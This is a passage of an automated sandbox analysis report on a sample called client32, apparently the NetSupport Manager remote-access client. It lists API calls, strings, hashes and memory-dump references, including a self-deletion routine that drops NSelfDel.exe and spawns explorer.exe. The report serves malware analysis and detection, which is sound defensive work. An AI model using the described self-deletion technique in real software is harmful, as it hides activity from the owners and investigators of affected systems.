Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: LockitLockit::_std::_
String ID:
API String ID: 3382485803-0
Opcode ID: f6d0a54566054b589c6c4caa2954ea7599f026ea747ae3b3f194ddc99e0da180
Instruction ID: a25f3913c8117ba577326b804e25134151bce6e6eea091deb2a1df2ca1a14b49
Opcode Fuzzy Hash: f6d0a54566054b589c6c4caa2954ea7599f026ea747ae3b3f194ddc99e0da180
Instruction Fuzzy Hash: 7F516D75A00645DFDB04CF98C980AADBBF6FF89318F24829DD5459B389C776E902CB90

Function 1113F670 Relevance: 1.6, APIs: 1, Instructions: 70registryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RegQueryValueExA.KERNEL32(00000000,?,?,00000000,00000000,00000000,?,75BF8400,?,?,111417CF,00000000,CSDVersion,00000000,00000000,?), ref: 1113F690

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: a232fc1abe2ed2d7d844c38d6296ee0920c29362aec6298465a62cb418f01d82
Instruction ID: 10a2649455158eed3fdc33ccecd10e2613defaba2ffe2c5b463718ad866645ae
Opcode Fuzzy Hash: a232fc1abe2ed2d7d844c38d6296ee0920c29362aec6298465a62cb418f01d82
Instruction Fuzzy Hash: 4211ECB67242475FEB11CD24D690B9EF756EFC5339F20812EE58587518D2319882CB53

Function 110F8740 Relevance: 1.6, APIs: 1, Instructions: 56COMMON

Download Yara Rule

APIs

GetTokenInformation.KERNELBASE(00000000,00000001(TokenIntegrityLevel),?,00000048,?,1117CF74), ref: 110F876D

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: InformationToken
String ID:
API String ID: 4114910276-0
Opcode ID: 3ed54ede1b3f10cca51033c0e31936367da5c7eb08a16c35f026113f9e1de554
Instruction ID: 4286fe34f75cea7b88237b7f19c57be592dd9146774f55c5736f82da2c6cd1b6
Opcode Fuzzy Hash: 3ed54ede1b3f10cca51033c0e31936367da5c7eb08a16c35f026113f9e1de554
Instruction Fuzzy Hash: 9A118A71E0022D9BDB51CBA8DC557EEB7E8AB49304F0040E9E909D7340DB70AE448B91

Function 1116C936 Relevance: 1.6, APIs: 1, Instructions: 52memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,110B7069,00000000,?,111665A4,?,110B7069,00000000,00000000,00000000,?,11167F37,00000001,00000214,?,110B7069), ref: 1116C979

Part of subcall function 11165ABF: __getptd_noexit.LIBCMT ref: 11165ABF

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AllocateHeap__getptd_noexit
String ID:
API String ID: 328603210-0
Opcode ID: 2c2584ae5d3c2f1a4e30704cb69b8cb8ac2400eb86a89467f06266894a6be336
Instruction ID: 4dc312edc878e3fc85dbd7a4fe26ae7c38801a5f560f23fe2cfbf25c3476fc95
Opcode Fuzzy Hash: 2c2584ae5d3c2f1a4e30704cb69b8cb8ac2400eb86a89467f06266894a6be336
Instruction Fuzzy Hash: 8A01D8317012669BFB168F66CD44B6BB79DAF81764F01452AE815CB2D0FBF1D820C780

Function 685BA082 Relevance: 1.6, APIs: 1, Instructions: 52memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,685B6F16,00000000,?,685BD40B,00000001,685B6F16,00000000,00000000,00000000,?,685B6F16,00000001,00000214), ref: 685BA0C5

Part of subcall function 685B60F9: __getptd_noexit.LIBCMT ref: 685B60F9

Memory Dump Source

Source File: 00000007.00000002.4143511671.0000000068591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 68590000, based on PE: true

Associated: 00000007.00000002.4143492483.0000000068590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143550370.00000000685D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143575543.00000000685D9000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143596259.00000000685DA000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143596259.00000000685DE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143640100.00000000685E0000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_68590000_client32.jbxd

Yara matches

Similarity

API ID: AllocateHeap__getptd_noexit
String ID:
API String ID: 328603210-0
Opcode ID: a86f339c534cd9872d35ca9763ea1ed858abae99b83c821955b34f32ff375265
Instruction ID: 532255076f6bd0dac442deb89763c6b1f4246476fdcb51f1bb3143e61b06de08
Opcode Fuzzy Hash: a86f339c534cd9872d35ca9763ea1ed858abae99b83c821955b34f32ff375265
Instruction Fuzzy Hash: 0501D43130721ADFFB268E65CC74B5B3794EBA13A4F81452AED35EB180DB75D800C640

Function 11163AB3 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

__waccess_s.LIBCMT ref: 11163ABE

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: __waccess_s
String ID:
API String ID: 4272103461-0
Opcode ID: ef7a6628b8ba34dfa5084db135283d76d392227949a9b5e0c08c397448921cd0
Instruction ID: 5c2e7bbd61f30f1aea2da67b167f4c2082f9d237e02e17c26463379e16f3f813
Opcode Fuzzy Hash: ef7a6628b8ba34dfa5084db135283d76d392227949a9b5e0c08c397448921cd0
Instruction Fuzzy Hash: 1FC09B3745814D7F5F055DE5EC00C597F5DD6807747144115F91CC9490DE73E561D540

Function 1116076B Relevance: 1.5, APIs: 1, Instructions: 10COMMONLIBRARYCODE

Download Yara Rule

APIs

__fsopen.LIBCMT ref: 11160778

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: __fsopen
String ID:
API String ID: 3646066109-0
Opcode ID: 458c5a181ffae5f95d358663ef626c75276123e7ccc662156e21cb703a51c411
Instruction ID: 7f7d982cc39844611e1edaafa4e80019d2d82fc8e8e4ac42b397e22a7b0e0c70
Opcode Fuzzy Hash: 458c5a181ffae5f95d358663ef626c75276123e7ccc662156e21cb703a51c411
Instruction Fuzzy Hash: 0BC09B7644010C77DF111A83DC05E457F1D97C0674F144010FF1C1D1609573E971D685

Function 00401000 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

_NSMClient32@8.PCICL32(?,?,004010A8,00000000), ref: 0040100A

Memory Dump Source

Source File: 00000007.00000002.4141139517.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.4141119824.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.4141157014.0000000000403000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.4141174786.0000000000404000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_client32.jbxd

Yara matches

Similarity

API ID: Client32@8
String ID:
API String ID: 433899448-0
Opcode ID: a50aadacad94cde84f5700121068934964b21678fd47baf16d7368d0ca4f48de
Instruction ID: 101b8ead0f36abaf2e4a9e5d6dc85a2691bea7164fd7fac6f3abc260b8d29af7
Opcode Fuzzy Hash: a50aadacad94cde84f5700121068934964b21678fd47baf16d7368d0ca4f48de
Instruction Fuzzy Hash: 85B012B91043406FC104DB10C880D2B73A8BBC4300F008D0DB4D142181C734D800C632

Non-executed Functions

Function 11007720 Relevance: 86.3, APIs: 35, Strings: 14, Instructions: 548windowCOMMON

Download Yara Rule

APIs

Part of subcall function 11087A50: IsWindow.USER32(110055D2), ref: 11087A6C
Part of subcall function 11087A50: IsWindow.USER32(?), ref: 11087A86

LoadCursorA.USER32(00000000,00007F02), ref: 1100776A
SetCursor.USER32(00000000), ref: 11007771
GetDC.USER32(?), ref: 1100779D
CreateCompatibleDC.GDI32(00000000), ref: 110077AA
CreateCompatibleBitmap.GDI32(?,?,?), ref: 110078B4
SelectObject.GDI32(?,00000000), ref: 110078C2
CreateDCA.GDI32(DISPLAY,00000000,00000000,00000000), ref: 110078D6
CreateCompatibleDC.GDI32(00000000), ref: 110078E3
CreateCompatibleBitmap.GDI32(?,?,?), ref: 110078F5
SelectClipRgn.GDI32(?,00000000), ref: 11007921

Part of subcall function 11002280: DeleteObject.GDI32(?), ref: 11002291
Part of subcall function 11002280: CreatePen.GDI32(?,?,?), ref: 110022B8

Part of subcall function 11005AF0: CreateSolidBrush.GDI32(?), ref: 11005B17

BitBlt.GDI32(?,00000000,00000000,?,?,?,?,?,00CC0020), ref: 1100794B
SelectClipRgn.GDI32(?,00000000), ref: 11007960
DeleteObject.GDI32(00000000), ref: 1100796D
DeleteDC.GDI32(?), ref: 1100797A
BitBlt.GDI32(?,00000000,00000000,?,?,?,00000000,00000000,00CC0020), ref: 11007997
ReleaseDC.USER32(?,?), ref: 110079C6
CreatePen.GDI32(00000002,00000001,00000000), ref: 110079D1
CreateSolidBrush.GDI32(?), ref: 11007AC2
GetSysColor.USER32(00000004), ref: 11007AD0
LoadBitmapA.USER32(00000000,00002EEF), ref: 11007AE7

Part of subcall function 1113E9D0: GetObjectA.GDI32(11003D26,00000018,?), ref: 1113E9E3
Part of subcall function 1113E9D0: CreateCompatibleDC.GDI32(00000000), ref: 1113E9F1
Part of subcall function 1113E9D0: CreateCompatibleDC.GDI32(00000000), ref: 1113E9F6
Part of subcall function 1113E9D0: SelectObject.GDI32(00000000,00000000), ref: 1113EA0E
Part of subcall function 1113E9D0: CreateBitmap.GDI32(?,?,00000001,00000001,00000000), ref: 1113EA21
Part of subcall function 1113E9D0: SelectObject.GDI32(00000000,00000000), ref: 1113EA2C
Part of subcall function 1113E9D0: SetBkColor.GDI32(00000000,?), ref: 1113EA36
Part of subcall function 1113E9D0: BitBlt.GDI32(00000000,00000000,00000000,?,?,00000000,00000000,00000000,00CC0020), ref: 1113EA53
Part of subcall function 1113E9D0: SetBkColor.GDI32(00000000,00000000), ref: 1113EA5C
Part of subcall function 1113E9D0: SetTextColor.GDI32(00000000,00FFFFFF), ref: 1113EA68
Part of subcall function 1113E9D0: BitBlt.GDI32(00000000,00000000,00000000,?,?,00000000,00000000,00000000,008800C6), ref: 1113EA85
Part of subcall function 1113E9D0: SetBkColor.GDI32(00000000,?), ref: 1113EA90
Part of subcall function 1113E9D0: SetTextColor.GDI32(00000000,00000000), ref: 1113EA99
Part of subcall function 1113E9D0: BitBlt.GDI32(00000000,00000000,00000000,?,?,00000000,00000000,00000000,00EE0086), ref: 1113EAB6
Part of subcall function 1113E9D0: SelectObject.GDI32(00000000,00000000), ref: 1113EAC1

Part of subcall function 1110C4A0: _memset.LIBCMT ref: 1110C4D2

_memset.LIBCMT ref: 11007B47
_swscanf.LIBCMT ref: 11007BB4

Part of subcall function 11080BE0: _strrchr.LIBCMT ref: 11080BEE

CreateFontIndirectA.GDI32(?), ref: 11007BE5
_memset.LIBCMT ref: 11007C0C
GetStockObject.GDI32(00000011), ref: 11007C1F
GetObjectA.GDI32(00000000), ref: 11007C26
CreateFontIndirectA.GDI32(?), ref: 11007C33
GetWindowRect.USER32(?,?), ref: 11007D76
SetWindowTextA.USER32(?,00000000), ref: 11007DB3
GetSystemMetrics.USER32(00000001), ref: 11007DD3
GetSystemMetrics.USER32(00000000), ref: 11007DF0
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000001), ref: 11007E40
SelectObject.GDI32(?,00000000), ref: 11007906

Part of subcall function 110290F0: GetLastError.KERNEL32(?,?), ref: 1102910C
Part of subcall function 110290F0: wsprintfA.USER32 ref: 11029157
Part of subcall function 110290F0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029193
Part of subcall function 110290F0: ExitProcess.KERNEL32 ref: 110291A9

Part of subcall function 110948B0: GetSystemMetrics.USER32(0000004C), ref: 110948BE
Part of subcall function 110948B0: GetSystemMetrics.USER32(0000004D), ref: 110948C7
Part of subcall function 110948B0: GetSystemMetrics.USER32(0000004E), ref: 110948CE
Part of subcall function 110948B0: GetSystemMetrics.USER32(00000000), ref: 110948D7
Part of subcall function 110948B0: GetSystemMetrics.USER32(0000004F), ref: 110948DD
Part of subcall function 110948B0: GetSystemMetrics.USER32(00000001), ref: 110948E5

UpdateWindow.USER32(?), ref: 11007E72
SetCursor.USER32(?), ref: 11007E7F

Strings

DISPLAY, xrefs: 110078CE
ShowAppIds, xrefs: 1100786A
m_hWnd, xrefs: 1100778C, 110079AE, 11007D5E, 11007DA1, 11007E1F, 11007E61
%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%s, xrefs: 11007BAE
FillStyle, xrefs: 11007A6C
FillColour, xrefs: 11007A56
Tool, xrefs: 110079EA
PenColour, xrefs: 11007A02
PenWidth, xrefs: 11007A1E
Monitor, xrefs: 110077D7
Show, xrefs: 110077DC, 1100786F
e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 11007787, 110079A9, 11007D59, 11007D9C, 11007E1A, 11007E5C
Font, xrefs: 11007B21
Annotate, xrefs: 110079EF, 11007A07, 11007A32, 11007A5B, 11007A7A, 11007B26

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Create$Object$MetricsSystem$Select$ColorCompatibleWindow$Bitmap$CursorDeleteText_memset$BrushClipFontIndirectLoadSolid$ErrorExitLastMessageProcessRectReleaseStockUpdate_strrchr_swscanfwsprintf
String ID: %d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%s$Annotate$DISPLAY$FillColour$FillStyle$Font$Monitor$PenColour$PenWidth$Show$ShowAppIds$Tool$e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 3128222880-2303488826
Opcode ID: 9ccdacb55d0ebfb0fb2b9ac94c280c8032c5f0b1e680477492f9b7d98bf24637
Instruction ID: 7fe4da3f96bb6b92752a65c8f73994b4eca8bbb8cb15b396b098bd7e1d307798
Opcode Fuzzy Hash: 9ccdacb55d0ebfb0fb2b9ac94c280c8032c5f0b1e680477492f9b7d98bf24637
Instruction Fuzzy Hash: B72272B5A00719AFE750DF64CC88FDEF7B9BB48708F1085A9E65A97280DB74A940CF50

Function 11123570 Relevance: 68.5, APIs: 31, Strings: 8, Instructions: 289fileprocessthreadCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 11123590
_memset.LIBCMT ref: 111235AD
GetVersionExA.KERNEL32(?,?,?,?,?,00000000,00000000), ref: 111235C6
GetTempPathA.KERNEL32(00000104,?,?,?,?,?,00000000,00000000), ref: 111235E5
GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,?,?,?,00000000,00000000), ref: 1112362B
_strrchr.LIBCMT ref: 1112363A
CreateFileA.KERNEL32(?,C0000000,00000005,00000000,00000002,00000000,00000000,?,?,?,?,?,?,00000000,00000000), ref: 11123673
WriteFile.KERNEL32(00000000,111B3308,000004D0,?,00000000,00000000,?,?,?,?,?,?,00000000,00000000), ref: 1112369F
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,00000000,00000000), ref: 111236AC
CreateFileA.KERNEL32(?,80000000,00000005,00000000,00000003,04000000,00000000,?,?,?,?,?,?,00000000,00000000), ref: 111236C7
GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,00000000,00000000), ref: 111236D7
wsprintfA.USER32 ref: 111236F1
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 1112371D
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 1112372E
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 11123737
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 1112373A
CreateProcessA.KERNEL32(00000000,explorer.exe,00000000,00000000,00000000,00000044,00000000,00000000,00000044,?,?,?,?,?,00000000,00000000), ref: 11123770
GetCurrentProcess.KERNEL32(?,?,00000000,00000000,00000000,?,?,?,?,00000000,00000000), ref: 11123812
GetCurrentProcess.KERNEL32(00000000,?,?,?,?,00000000,00000000), ref: 11123815
DuplicateHandle.KERNEL32(00000000,?,?,?,?,00000000,00000000), ref: 11123818
GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,?,?,?,00000000,00000000), ref: 1112382C
_strrchr.LIBCMT ref: 1112383B
_memmove.LIBCMT ref: 111238B4
GetThreadContext.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 111238D4

Strings

pSlash, xrefs: 11123851
D, xrefs: 111235A3
explorer.exe, xrefs: 11123769
iCodeSize <= sizeof(local.opCodes), xrefs: 1112389A
selfdelete.cpp, xrefs: 1112384C, 11123895
NSelfDel.exe, xrefs: 111235FA
*.*, xrefs: 11123876
"%s" %d %s, xrefs: 111236EB

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: FileHandleProcess$CloseCreate$Current$ModuleName_memset_strrchr$ContextDuplicatePathTempThreadVersionWrite_memmovewsprintf
String ID: "%s" %d %s$*.*$D$NSelfDel.exe$explorer.exe$iCodeSize <= sizeof(local.opCodes)$pSlash$selfdelete.cpp
